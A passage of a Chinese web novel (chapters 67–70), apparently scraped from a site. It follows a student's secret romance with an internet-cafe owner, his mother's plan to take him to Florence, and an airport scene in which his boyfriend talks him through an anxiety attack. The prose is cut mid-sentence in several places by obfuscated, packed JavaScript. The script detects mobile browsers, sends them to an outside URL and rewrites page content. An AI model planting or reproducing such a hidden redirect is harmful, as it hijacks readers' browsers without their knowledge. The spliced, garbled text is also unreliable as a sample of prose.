今天的水果种类多了很多,黄桃脆李蜜橘应有尽有。时和拿着一瓣橘子放在唇边忘了吃。也没注意到在他失神期间,濯清已经加了宴云川微信。 濯清聊到:“如果有需要帮忙的可以找我,或者让小和找我也行。”这才发现自家儿子不对劲。 “小和?”濯清喊了喊,没人应。 “小和!”她往时和眼前挥了挥手。 见时和跟灵魂回体似的抖了一下,濯清问:“想什么呢这么入神?妈妈跟你说话都没听见。”她看了眼橘子,“还有这橘子,放在嘴边闻仙气能饱啊?” 橘子压在唇角,已经带上了温热。 时和把橘子放下,睁着眼睛说:“有点酸。” 濯清剥了一瓣:“不酸啊,妈妈吃着挺甜。” 时和看着桌上没吃完的水果,余光瞥见宴云川放在膝盖上的手,喉结吞了吞,忽然说:“我……妈,我想吃葡萄。” 桌上水果应有尽有,唯独没有葡萄。 对于时和想吃水果这么简单的需求,濯清向来是有求必应的。她听见就要起身,说着:“那你陪陪小停小川,妈妈下去买点儿。” 时和拦下:“妈,我想透透气。” “那——”濯清的模样是想陪时和下去,可看着沈停和宴云川,又觉得这样失了礼数。 然后,她就看见宴云川非常熨贴地起身:“伯母,我陪时和去吧。上回我跟他去过,认路。” 沈停正往嘴里丢李子,差点整个吞下去噎死。 他不可思议地看向宴云川,五官用力写着:“又来?!就把我丢这了?” 宴云川挑眉,无声表达:“记得聊久点。” 沈停:“人性呢?!” 宴云川:“不多。” 两人用眼神交流了几个回合。 濯清听见宴云川作陪,稍稍放了心。她说着:“不好意思啊小川,小和平时惯了点,经常想一出是一出。”又假装责备剜了时和一眼。 时和老实看着濯清,还接戏说:“谢谢学长。” 只听“嘎嘣”一声,沈停咬下来一大口李子。 ** 电梯房的小区总有应急逃生通道,平日里大门关着,几乎没人过来,而且隔音效果很好。 通道层与层之间有平台。此时,雪白的墙上两道黑色身影交叠,压抑的声音在楼道间浅浅回荡。 宴云川像是忍得狠了,吻起来跟见面那天晚上一样急,但也控制了分寸,没有用力。 他一手托在时和后脑上,一手圈着时和手腕,反扣在腰上,按下了那只不知道往哪放的手。 “学弟,”宴云川咬着时和耳朵,“看来我对你的评估有点错误。我以为你不喜欢。” 从那天沙发被推开,他就以为时和不喜欢太亲密的接触,更喜欢点到即止。所以他的接吻都克制在额头,唇角这些地方,不会逗留太久。 直到他被时和拉近逃生通道,时和两眼带雾嘴唇微张地向他索取,他才敢确认,时和是喜欢的。 时和听着宴云川在耳边说话,腿肚绷得紧紧的,锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盯了几分钟,确定没人上来,也没听见脚步声,他才重重喘了一口气。 意识到自己刚才做了什么,时和着急地看向宴云川想解释,就看见宴云川眼光柔柔地望着他。 通过一系列反常举动,宴云川大概也猜到了情况。想来是濯清和时和说了什么。 至于等…… 他这二十多年都在等。等高考,等成年,等大学,等毕业。等网吧稳定。他一路这么等了过来。等时和是最简单的事。 “多久都等。”宴云川说。 ** 两人买了葡萄,路上又遇见那几个固定散步的阿婆。阿婆热情打着招呼。 明明两个人之间隔了几拳的距离,一路也没什么越界的举动,可时和总担心被人发现,声音僵僵的,眼神都不敢往人身上看。 他义无反顾跟宴云川表白的时候想的很简单,想着只要藏好一点,藏到没人发现,宴云川就是他一个人的。 真到了这么一天,他才发现自己的喜欢太过耀眼,怎么藏都藏不住。 一路忐忑到家,濯清惯例对宴云川道谢,又带着宠溺的嗔怪给时和洗了葡萄。 寒暄的时候,濯清突然对宴云川说:“唉,小和难得这么亲近一个人。如果不是你要照看网吧,我肯定邀请你跟我们去佛罗伦萨住一段时间。”她说着又叹着气看向时和,揉着时和头发,“省的你在那边要重新习惯,还得跟我闹。” 濯清自认为很了解时和,她知道时和不会当着外人的面拂了她的面子。 出国在即,趁现在时和心情不错,以这种方式提出来给时和做个预防,等晚点宴云川他们离开再聊细节。到那时候,时和的情绪也冷的差不多了。 可时和直接站了起来:“去佛罗伦萨?!” 这场难得的见面还是提前结束了。 67.Chapter·旧账 把人送到门口,濯清想到什么又折回厨房。 趁人离开的功夫,宴云川像变戏法似的从装着火机的兜里掏出三颗果糖,把两颗递给了时和:“出门拿的。”拿的时候糖正好散在火机边,纯属顺手,没想到还能派上用场。 他拆开第三颗糖纸,把糖芯放到时和嘴边。 时和还沉浸在出国的情绪里没出来,等到唇间溢出菠萝香气才回过神,看向宴云川。 “再不吃阿姨就出来了。”宴云川笑了笑,吓得时和一卷舌把糖果叼进了嘴里。 菠萝糖精的味道很快在口腔散开。 宴云川捻了捻指尖,又伸手摸了下火机,说道:“有事给我打电话。” 时和舔掉嘴角的糖精,点了点头。 两人旁若无人的互动急死了旁边的沈停。沈停脖子恨不得伸进门里,一个劲地往厨房望,又对两个人说:“你两能不能收着点!摄像头看呢!” 时和这才意识到刚才的动作有多暧昧,舌头搅动糖果的动作顿时停了下来。 宴云川很淡定:“送学弟几颗糖,不过分。” “我可不喂学弟吃糖。”沈停说。 “顺手拆开而已。” “……” 沈停大概没见过强词夺理的宴云川,惊呆了。 宴云川也不是想玩灯下黑。他只是觉得时和现在的状态不对,又想赌一把,赌濯清不会看她在家期间的监控。况且,这不算出格。 只是这些想法沈停和时和都不知道。说话间,厨房响起窸窸窣窣推门声。 许是糖果分泌多巴胺,又或是刚才沈停的话转移了注意力。等濯清拿着两盒水产从厨房出来的时候,时和情绪从“出国”这件事的冲击上出来不少。 “实在招待不周,”濯清带着歉意,拿出两盒印有螃蟹的水产,“本来想晚上蒸几个蟹留下来吃个便饭。等下回,下回我准备一桌正式的。” 宴云川也没推脱。他一手托着礼盒底,另一只手接过绳索:“谢谢伯母。今天跟您聊的很有收获,正好阿朔——我弟弟说网吧忙了,要我回去一趟。等您下次回榕城,我一定留时间拜访。” 濯清:“那阿姨就送你们到这儿,路上小心。” ** 等人走进电梯,濯清脸上的笑容瞬间淡了下去。桌上残局还没收拾,葡萄空了几颗,几滴水珠随着猛烈地拍桌声吓了下来。 濯清站在时和对立面,逼视时和:“妈妈怎么教你的?客人为先,不能当着客人的面闹脾气!” 是有这么一条规定,可当时要出国的恐惧已经战胜了所有条条框框。时和一口把糖咬碎,咽下去才说:“我不出国!” 两人目光谁也不让着谁。 就这么僵了几分钟,濯清抬起手,掰出大拇指开始数:“你当初是答应妈妈的,如果再因为游戏犯病妈妈就带你出国,还记得吗?” 时和反驳:“这次是意外!” 濯清堵了他的话:“哪次不是意外?难道发病还翻日历给你挑个好时候吗?” “妈妈是不是说过,答应的事哪怕是第二天少喝一杯水也要做到?”她又掰出食指。 时和说:“妈!去国外我更会犯病!” 濯清眉头皱了一下,像是有一瞬的动容。很快,想带时和出国的欲望压了上来:“妈妈问过医生了,医生说可以尝试。先给你独立空间,等你适应了再从认识的人接触。你顾叔给你准备了套间,就在妈妈住的酒店旁边,妈妈忙完就可以陪你。” 医生还有一句:“当然,这件事还是要以小和意愿为主。”濯清没说。 时和没想到濯清一早就开始策划了,眼神划过一丝难以置信,甚至不知道这时候是该生气濯清不跟自己商量,还是该争辩发病不是因为游戏。 他呼吸急促地重复:“我不想出国!” 濯清气着了,说话不管不顾:“之前你答应不玩游戏,妈妈破例给你玩!现在又要毁约不出国?下一次是不是又要像半年前一样瞒着妈妈去酒吧了!” 说出这句话后,客厅安静了下来。 半年前从酒吧回来,濯清就变得疑神疑鬼,觉得时和出门就是要瞒着她去做点什么。她取消了时和的住宿,每天让司机按着课程表送时和上课,接时和放学。直到时和晕倒被120接走。 医生说,时和的病是心理压力和环境压力双重造成的,也暗示过濯清,那样的看管方式不适用于一个已经形成自我人格的大学生。 那以后,濯清没再提酒吧的事,时和也不想去触这个鳞,两人各有目的地维持着默契。 可有些事不提不代表忘记,不代表不在意。 意识到自己说了什么,濯清强势的表情终于有了皲裂。“宝贝……”她伸手想拉时和胳膊,手掌覆上去的时候,掌心的肌肉紧绷得好像冻住了。 时和瞳孔逐渐失焦。 濯清着急说:“妈妈不是——” 说到一半,时和语气平常地问:“妈,您一直没有原谅我,对吧。” 那句“妈妈不是在怪你”,突然没了说服力。 但濯清真的没有在怪时和。 俗话都说“夫妻没有隔夜仇”。这句话在濯清这里却不适用。因为她跟时熵走到离婚那一步,就是无数未解决的“隔夜仇”造成的。 她怨过时熵、恨过时熵,甚至很长一段时间怪时熵为什么在当初两家提出相亲的时候没有拒绝。可她从来没有怪过时和。 哪怕是半年前她发现时和骗她偷偷去了网吧,她也只觉得是时熵在妨碍她教儿子而已。 时和却问:“妈,如果没有我,你和爸是不是就不会离婚了。” 说是问题,用的却是陈述语气。 话题不知道怎么就从出国转向了离婚。可濯清看着时和眼睛,突然意识到她这半年忽略了什么。 她这半年一直以为时和突然转变的乖巧是因为懂事了,或者是因为生病所以依赖她。 直到今天,她才发现时和的乖巧全都是因为自责。因为觉得是自己毁了她和时熵的婚姻。 客厅硝烟弥漫的氛围瞬间被压抑的痛苦和回忆往昔的沉闷所取代。 “不是的。”濯清坐了下去。 时和显然不信。 濯清往身旁的位置拍了拍。 等时和坐下,她说:“你还小,不知道世界上很多婚姻都有裂缝。这些裂缝一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070156|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比一天多,一天比一天宽。有些人选择用水泥缝缝补补,有些人宁为玉碎,不想将就一辈子。” 她和时熵是从什么时候开始有裂缝的呢…… 濯清仔细回想了这段长达二十三年的婚姻。她和时熵是家里长辈介绍认识的,时熵当时是个小有名气的画家。他家里的长辈觉得做艺术等于漂浮不定,希望他成个家安定下来。 而她爸妈也觉得她一个女孩家家的,应该找个好丈夫帮衬着点,这样未来的路更好走。她和时熵就这样“天时地利人和”的结婚了。 或许搞艺术的和满眼铜臭的人真的处不来一块儿。一开始,她们看对方还挺顺眼,觉得可以培养感情。久了过后,她觉得时熵太理想主义,时熵觉得她做事太激进和功利。再后来时和出生,两个人在教育理念上彻底起了分歧,吵闹不断。 “我和你爸爸不合适,”濯清说的很平静,“就像金子融不进汞里。但我们都希望对方可以幸福,分开是最好的选择。” “小和,说‘没有父母会怪孩子’这话太过绝对,可我和你爸爸只会爱你,从来没有怪过你。” “那爸为什么半年都不找我……”时和问。 濯清说:“因为他不想你在我和他中间为难。” 客厅再次安静下来。时和眼神茫然,不知道这段话究竟是真的,还是濯清拿来安慰自己的故事。 然后,他听见濯清飘渺的声音:“宝贝,妈妈也需要人陪。去佛罗伦萨陪陪妈妈好吗?” 他转过视线,濯清眼尾泛着压抑的酸涩。 “你知道吗,”濯清撇开眼神看向阳台,“妈妈在佛罗伦萨的时候,看见好玩的,就想着你会不会喜欢。看见别人家的孩子跟母亲一块儿逛街,就想着如果你在就好了。” “你顾叔的女儿上个月过来看她。那天我们正好跟一个合作方闹了不愉快,他女儿就揪你顾叔头发,说那是三千烦恼丝,揪掉一根少一根。” 说着濯清又转过来:“那时候妈妈就想到了你,你小时候也这样揪过我的头发。” “妈妈一直拼命的工作,一直想让酒店做得大一些,再大一些,这样宝贝以后就没有那么累。”时和听着濯清说,“妈妈想要的不多,只想要你陪陪我,好吗?”他突然感觉很痛苦。 因为他拒绝不了这样的濯清。 濯清像是理解了他的痛苦一样退了一步:“一个月,就陪妈妈一个月。如果你真的不能适应,妈妈再送你回来,好吗?” 不知道过了多久,时和才点了点头。 “妈……”时和握了握拳,感受到掌心糖果硌得发痒,他又松开,“我明天可以去网吧吗?” “嗯?” “我想和沈停他们道个别。” ** 网吧的清晨一如往常,只有两三个清醒的,剩下几个都七扭八歪倒了几地。 单人包厢被昨晚一个通宵的客人占了,双人包厢和五黑放也不能幸免。 几个包厢都拉上了遮光帘。其中一个三人包厢水蓝色的帘子忽然晃动了两下,隐约看见一个手印从帘子凹陷的地方划了过去,又陷入寂静。 包厢门口放着指示牌:故障中,等待维修。 68.Chapter·败火 包厢里三张椅子东倒西歪,一张在墙角,一张在门边,还有一张孤零零地立在包厢中央。 椅子是电竞椅,可以后仰接近180度,把脚托搭上来,就是一张简易的床。 时和家里也是这样的椅子,该有的功能他都知道。可他第一次知道,单人椅也能挤下两个人。 “宴云川……”时和喃喃喊着,尾音被一声“嗯”和喉结细密的温热吞了进去。 他以前也不觉得自己长了一颗色心,直到遇见宴云川。本来两个人坐在电脑前很认真的打着日常,不知道怎么就滚到了一起。明明宴云川只是拧了一瓶水,水太冰了,瓶壁上的露珠不可避免地顺着小臂一路滑下来,他多看了两眼而已。 “宴云川。”时和又喊了一声。 听见宴云川应着,他才拉着宴云川衣领,凑上去说:“我好想见你。”哪怕我们每天都在聊天,游戏都在组队,我也好想见你,“每分每秒,无时无刻。” 包厢空气粘腻得仿佛沾了糖。宴云川托着时和后颈,猛地把椅子弹正,又搂着时和的腰把人带到电脑桌前,推开了键盘。 “把我当什么了,学弟。”他撑着桌沿,半压下时和的腰,贴着时和耳廓,有一下没一下的咬着,“我不是什么柳下惠,别太高看我了。”感受到身下的人越来越软,他像是想让时和记住一样,带着力道咬了下时和耳垂说:“我会忍不住。” 时和给这一咬彻底咬懵了,只感觉浑身跟被电鳗咬了一样发麻。 没等他思维回过笼来,他突然感到宴云川膝盖碰到了什么地方,更大的酥麻感直冲脑门。 腿间的膝盖似乎也愣了一瞬。也就一瞬,宴云川随即笑了笑:“好像忍不住的不止我一个。” 时和下意识伸手想推开宴云川,就被宴云川提前按住了手腕。 宴云川想到了什么,眉头一挑:“所以你那晚推开我也是因为——” 话没说完,时和用力睁开了桎梏,从桌上跳了下去,此地无银地来了四句:“不是!没有!你想多了!怎么可能!” 宴云川“嗯”一下:“是我感觉错了。” 时和:“……” 色迷心窍果然容易身败名裂。 有了这个插曲,时和那颗不算大的色心直接被水泥封死了。他站在离宴云川一米的墙边,一脸提防地看着宴云川,好像刚才先图谋不轨的人是宴云川一样。 宴云川拿起桌上的水走过去。每走一步,时和就往墙边挪两厘。 挪无可挪的到了角落,见宴云川抬手过来,时和心狂跳地咽了咽喉咙,表情堪称英勇就义。 以为宴云川要做点什么,时和眼睛都下意识闭上了。正紧张着,空气响起一声轻笑。 想象中的温热没有落下,脸颊突然传来透心凉的触感,直接给他冻清醒了。 “喝点水。”宴云川说。 “……”时和心虚的接下。瓶口碰上嘴巴,猛地听见一句:“冰水降火。” “咳——” 包厢咳嗽声连绵不断。见时和真呛着了,宴云川收起了打趣的心思,上前想顺一下时和的气。 没想到处在刺激下的时和力气大得惊人,直接给他推了三步远。 他自知理亏,跟着咳了一下。还想走上去,听见林朔野敲门小声道:“hello,方便进来吗?” 身后跟着沈停的声音:“神经,大白天他们还能做什么不成?” 林朔野:“那说不准呢!” 沈停:“动脑子想想。你看那两人一个比一个正经,像是会白日宣淫的模样——” 沈停说得正起劲,包厢门冷不防打开,宴云川凌乱的衣角就这么明晃晃出现在他面前。 沈停:“——吗。” “……”他好像出现幻觉了。 包厢门只开了半人宽的缝,两人看不见角落里衣摆更加凌乱的时和,只能听到微微咳嗽声。 林朔野实在没忍住,伸了个脑袋。脑袋刚伸出去就被宴云川拦了下来。 “哥,你俩……?”林朔野说的又抱琵琶半遮面,又满眼好奇。 宴云川捏了捏眉心,淡淡说:“姑姑前两天刚给我打电话,叫你回家。” 这话效果拔群,林朔野跟躲枪决似的把脑袋缩了回去。 “我错了!哥!”他献宝似的端上两份打包好的包子豆浆,鞠着45度的躬,“牛肉馅儿!冰豆浆!牛肉充能!冰豆浆败火——” 说到败火的时候,林朔野有意无意瞥向自家哥哥衣冠不整的领口。直到对上领口上面那双“要不我凑近点给你看”的眼神,他打了个寒颤,绕着舌头把“败火”还成了“降温”。 沈停无语仰天,一把拿过包子递过去。临走前,他清了清嗓:“那什么,学长,咳,别弄出痕迹,我阿姨——” 包厢里的人又被呛着了,咳嗽声愈演愈烈。宴云川砰一下关上了门。 ** 等门外的脚步声走远,宴云川把椅子摆好,带着笑看向时和:“准备在那站到回家?” “……”时和掐着嗓子走了过去。两张椅子挨得很近,坐下后,他又默默把椅子挪远了一点。 宴云川把早餐摊开,坐在旁边椅子上。这会时和又觉得两个人胳膊肘离的太远了。 趁着宴云川拆包装的功夫,他脚尖一动,又挪过去了几厘米。挪到手肘动一下就能碰上指尖,他才停下。 宴云川嘴角不动声色地勾了勾。 时和吃了早餐才出的门,这会还饱着。宴云川就分了半个包子给他尝个味道。 刚打包回来的冰豆浆还带着冰渣,的确败火。先前那点火气下去,理智便跟着回来了。 察觉时和忽然安静,宴云川咽下最后一口包子看过去:“怎么了?” “嗯?” “有心事。” 宴云川猜着:“因为沈停那句话?” 沈停那句没说完的“阿姨”。 果然,时和转着豆浆杯,低声问:“宴云川,我是不是很没用。” 宴云川:“为什么这么说?” 豆浆杯壁的水珠落在桌上,时和指尖在水滩里搅动几下。他本来想问:“我不敢公开,不敢告诉我妈我谈恋爱了,我甚至走在路上都害怕别人发现。我是不是很懦弱。” 可是又怕提到“公开”,宴云川会放在心上,反而种下了一颗随时会爆的种子。 想到最后,他省略了大部分“不敢说”,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086484|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下最后一个话题:“我们才刚在一起,我就要走了。”而且是一个月。 宴云川问:“不去会后悔吗?” 时和看向他。 宴云川又问:“不去佛罗伦萨,你会后悔吗?” 时和转动纸杯的手停了下来,眼皮半耷着,很认真思考着这个问题。最后说:“会。” 他会后悔。想到濯清在异国他乡对他无穷无尽的思念,还有濯清鬓角的几根白发。如果他不去,他肯定会后悔。 时和又看向宴云川,就看见宴云川眼尾柔柔地看着他,对他说:“为了不后悔而做的事,永远不会没用。况且,我们还有很多的‘一个月’。” 那颗水泥封的色心又开始蠢蠢欲动了。 “你别撩我。”时和闷着头。 宴云川明知故问:“嗯?” “……”他扣着豆浆杯不说话。 然后,宴云川抬手捏了捏他的后颈。 “到了那给我发个定位。”宴云川说。 时和猛地抬头望向他,脑海里有个大胆的猜测:“宴云川要来找他。” 可这猜测太过大胆,且不说网吧正是忙碌的时候,佛罗伦萨离这几千公里,怎么都不方便。 他不敢确定,只能直愣愣等着宴云川公布答案。结果宴云川却跳过了这个话题。 宴云川:“想知道两年前发生了什么对吗?” 时和不知道宴云川怎么突然提起这个了。要说不想知道那就太虚伪。因为宴云川的一切他都想知道。他怔了几秒,点点头。 宴云川慢条斯理说:“下次见面告诉你。”可他却没说下次见面是什么时候。 是一个月后,还是……一个月内。 ** 濯清给的“叙旧”时间有足足四个小时,大概带了点奖赏的意味。两人吃过早餐,又上游戏把剩下的日常做了。 帮派几个人正准备打PK,看见宴云川在群里冒泡,欲哭无泪地发:[两位爹,大清早的给我们这些还差点分的人一条活路可以不QAQ,我刷最后两个段!比赛前我将不踏入竞技场一步!] 宴云川问时和想做什么。 时和还在想着刚才的猜测,晃了下神。看见群里的消息,他鼠标从PK键上挪了开,突然想到比赛,又问宴云川:“比赛怎么办?” PK大赛初赛在月底,那会他还在佛罗伦萨。 宴云川点开大赛日程表,算了下时差,正好是佛罗伦萨上午九点。 “九点能玩游戏么?”宴云川问。 时和想了想,点头。 他说:“到时候给你远程爬个墙。” 说完这句话,宴云川看见时和嘴角肉眼可见地抿上了,眼神还有点幽怨。 他假装没看见,又问:“还有什么想玩的?” 时和点着鼠标说:“挂机。” 这话多少带点赌气的成分。想到之前意气用事的吵架,时和慌了神,连忙看向宴云川想道歉。头转过去,就撞进了一个吻里。 一吻落下,宴云川说:“游戏挂机了,线下总得做点什么。” 于是,接下来两个小时,时和把游戏一半玩法都玩了一遍,就为了防止宴云川“做点什么”。 69.Chapter·通关 由于这几天时和和宴云川一上线就是日常、副本、PK三点一线非常规律,所以,当第一个玩家在悬崖边看见两人挖草时,他PK场连跪的“创伤性应激障碍”发作,下意识按了格挡,人直接从悬崖掉了下去。 不一会,游戏论坛多了一个新帖: #事出反常必有妖!# 帖子标题很隐晦,直接沉底。还是几个“受害者”想知道这两人准备做什么幺蛾子,来论坛搜关键词,这帖子才得以重见天日。 [耋:替我鸣冤啊各位!刚刚标行看见这两人!吓得我车都弃了!] [雾蔚霁影:嘻嘻,我在炸鱼,这两人贴一身黑,我以为捕快来抓人,奖励都没拿就跑了呢。] [北柠:谁有引驾行的好友?这两人啥时候打PK啊!我好错峰匹配!] [亦巧:巧了,我正在问!] 评论区十几个人讨论得不亦乐乎。 等这个叫“亦巧”的人问回来,已经是二十分钟过后了,期间评论区又多了一个受害者。 [阿芙乐尔:阿勒?我刚才是看见川老板了吗?可是川老板怎么会用童趣节那么萌的动作呢?还有见神,这么高冷的人不应该冷冷走开不屑一顾呸吗?怎么还用了一个更萌的动作呢?] 又过去两分钟,亦巧才在评论区统一回复:[散了吧,他们今天不会打PK了。] 有人问:[那这两位爷是?] [亦巧:据说无聊了,纯玩。] 众人:…… 怕不是被盗号了。 得知两人不会进PK场,评论区原地解散。直到一人问:[他们现在算什么?师徒?还是朋友?什么关系啊就陪着纯玩?] 评论区再次热闹起来,而且比之前更热闹。 [雾蔚霁影:憋死我了!终于有人问了!] [暮草兮:这两人像吵架又不像吵架。就算是吵架,这会不是和好了吗?怎么还不组回师徒?] [冷凝寒:我有个大胆的想法。] [瑾萱:嘘——] 大胆的想法还没开口,帖子直接嘘声一片。 不过这样的嘘声依旧抵挡不住某些想吃瓜以及看热闹不嫌事大的观众。 [阿芙乐尔:阿勒,大家真的不怀疑这两人的性取向吗?纯好奇。] 评论不出两秒刷出几条楼中楼: [瑾萱:不怀疑!狗头.jpg] [暮草兮:别恶搞!狗头.jpg] [亦巧:社会主义兄弟情!狗头.jpg] [雾蔚霁影:切莫腐眼看人基!狗头.jpg] … ** 时和看到这一溜眼狗头的时候,正在去榕城国际机场的路上。 帖子是凌晨帮里一个人吃瓜转出来的,又被单身爬楼看见,转发到了小群。 单身语音笑得捶桌:“不是!这些人圈地自萌怎么还舞出来了呢?竟然怀疑川老板性取向?川老板比我腿边钢板还直!能基吗!” 群里,沈停发了一连串的省略号。 单身把这串省略号当成了对评论区的无语,说得更来劲了。 单身:“窝儿啊,你也认同我的观点是不?” 单身:“我就说我一个直了三十年的新青年,还能看不出身边的人谁直谁弯嘛?” 单身:“啧,不过要我说川老板你这一直母单SOLO也不能怪人误会啊!正好赶七夕,要不给你发几个相亲贴?CP一组!谣言不攻自破!” 单身每说一句,林朔野就发个闭嘴的表情包。说到“组CP”,表情包原地升级成“你完了”。 单身:“咋地?” 林朔野:[能咋地,厚葬吧,我会想你的。] 沉默了几轮的柚子,也跟了个厚葬的表情。 消息群太多,通知窗的提醒就没停过,每跳出来一次,时和就上划隐藏一次。 他看着帖子里那句“别恶搞”皱了皱眉,就像得了奖,结果没一个人知道一样,有点说不上来的恼和急,恨不得亲自去揭晓答案。 正虚晃点着输入法,濯清叫了声:“宝贝。” 时和按掉屏幕:“怎么了,妈?” 濯清眼神落在他手机上:“坐车不要玩手机,知道吗?对眼睛不好,还容易晕车。” 时和老老实实收了手机。 没了打发时间的东西,去机场的路就变得漫长又恐惧。 时和想了想,他大概两年没有去机场了,上一次去还是去参加时熵的画展。 他记得那天正好五一节假日,值机队伍的人流比大课间的操场人还多。 考虑到犯病可能,时和出门前提前吃了阻滞剂。药物作用加底层恐惧让他觉得脑子发紧,但又没有发病那样心慌手抖,只剩下强烈的割裂感。就像坐在车里的是另一个人一样。 真正的他想逃,车里的却很淡定。 濯清一路都在观察时和的状态。见时和眼神一动不动望着面前的座椅,就知道恐惧发作了。 她看了看表,打手势让司机降了车速,好给时和多一点心理准备的时间。 宁莉坐在副驾,担忧地看了一眼。瞥见濯清摇摇头,她便收了眼神。 “宝贝。”濯清往时和方向坐了坐。 时和反应了几秒,滞缓扭过头:“妈。” 听到时和还能正常答话,濯清稍稍放心。她伸手揽着时和脖子,简单把接下来的流程过了一遍:“下了车小莉会去交接办值机和托运。宝贝如果想逛逛,妈妈陪你逛会,如果累了,我们就直接进候机厅。商务仓你坐过的对不对?候机室人不会很多。我们把帽子口罩戴好,妈妈还带了眼罩,宝贝可以躺在椅子上休息会。”试图想用这样的方式缓解时和的紧张感。 聊胜于无。至少听见不用自己去值机,时和提前营造的焦虑感稍微缓和了点。 也就缓和了绿豆那么大,下了车,时和看见停车道人来人往,电梯间更是比肩继踵,这颗绿豆就滚没影了。 他站在电梯口迟迟不肯进去。电梯里几个眼神忘了过来,关门间又见几人皱眉。 “濯总。”宁莉又担忧地喊了一声。 濯清摆摆手:“你先去办手续吧。” “小和——” “没事。” 老板的家务事,宁莉也不好多说什么。 等宁莉离开,身后又走来一批新的排队的旅客。濯清把时和带到一边,挡开周围几个打量的视线,稍稍弯腰提议道:“我们走楼梯,好吗?” “妈……”时和低头,想说“我想回家”,又不想让濯清一个人离开。 濯清看出了时和的退缩,心揪了一下。她眉头蹙着,在“放人”和“尝试”间拉扯了几轮,然后叹了叹气:“宝贝——” 她正想说:“妈妈带你走另一边,那边没人。”一道铃声猛烈地打断了她的话。 听见是时和手机发出来的,濯清示意他看一眼:“说不定是小停或者小川。” 时和这才拿出手机。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094956|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来电显示宴云川。时和涣散的眼神终于动了几下。他拿出耳机,想接的时候下意识看了眼濯清。确认濯清没怀疑,这才戴上耳机接通。 电话接通,机场响起播报。 时和觉得自己出现幻听了,不然机场的播报怎么从手机里传出来了。 “喂。”他小心又谨慎地打着招呼。 宴云川在电话里说:“别回头。” 他浑身血液忽然猛地冲向了头顶,不自觉地转了转脖子,又硬生生掰了回来。 时和没说话,只是听着宴云川的声音:“我在你身后,跟着你上去。别害怕,楼梯人很少,三楼就是国际登机站。” 见时和神色愈发不对劲,濯清还以为这是犯病的前兆。她眉头皱得越来越紧,坚定想要带时和出国的心也开始动摇。 正想说要不下次,时和忽然转身,往楼梯方向笔直走过去。 “宝贝!”濯清跟上。 “不是走楼梯么?”时和眼睛眨了两下。 濯清不知道时和怎么突然想通了,愣了愣,连忙扬着欣慰的笑脸揉了揉时和脑袋鼓励。 上了三楼,宴云川继续引导:“别看两边,直走,走到第二块电子牌的时候右转。” 濯清还打算带路,就见时和大刀阔斧地走到了她的前面,轻车熟路转了弯。她纳闷又奇怪的笑了一下。 “之前来的时候不是没记路么?”濯清问。 时和脚步因为心虚晃了一下,又一本正经地说:“上回记住了。” 耳机传来兴味地笑声。 两人像打游戏副本一样,宴云川指挥,时和只需要听着指挥行动。在等宁莉的时间里,宴云川就跟讲故事似的说着他在机场看见的一些小事。比如一排幼儿园的小朋友争先恐后的抢楼梯,又比如有几个人COS了幻世录的角色,还附带了照片。 一来二去,时间便消磨了。 拿到登机牌,走到安检口,时和的耳机就得摘下了。 宴云川安抚着:“放心,我不挂电话。” 时和这才走了进去。 许是想着宴云川还在电话里,时和安检过程相当顺利。没有惊慌,也没有发病,只想着快点结束拿回手机。安检员一放人,他就迫不及待到闸机口等自己的包。 好在包里东西不多,过得比较快。 耳机戴上,时和就听见宴云川说:“恭喜,顺利通关。想要什么奖励?”他嘴角抑制不住地上扬。 突然发现出国也不是那么可怕了。 不想濯清听出不对劲,时和打字问宴云川:[怎么突然来机场?] 宴云川在电话里笑了笑,回:“男朋友出远门,我怎么能不来送他。” “不过,我好像惹男朋友生气了。” 时和一脸莫名。 宴云川佯装不解:“如果没有惹他生气,他为什么会点赞别人说‘腐眼看人基’的评论?” 时和敲出一个问号。 宴云川把单身发的截图转过去。图片里,那条“腐眼看人基”的点赞展开屹然出现时和ID。 时和更莫名其妙了。想了有一会,他才想到估计是锁屏的时候点到屏幕。 他着急地打字解释:[按错了!] 正想去论坛里取消点赞,宴云川在那头继续逗人:“那,基吗?” 时和:“……” 宴云川:“看来——” 不等宴云川说完,屏幕蹦出一个字:基! 电话那头的笑愈发猖狂了。 70.Chapter·愧疚 两人一路从安检口聊到了贵宾室。距离飞机起飞还有三个小时,宴云川就陪了时和三个小时。 中途濯清问了一嘴:“小川打电话有事?” 时和正打着字,临时编理由的技能本就生疏,神经一紧张,直接没了。他卡了下壳,就听见宴云川炉火纯青地教他:“你有东西落网吧了,我问问要不要给你送来。” 时和摸了摸耳垂,照着念了一遍。 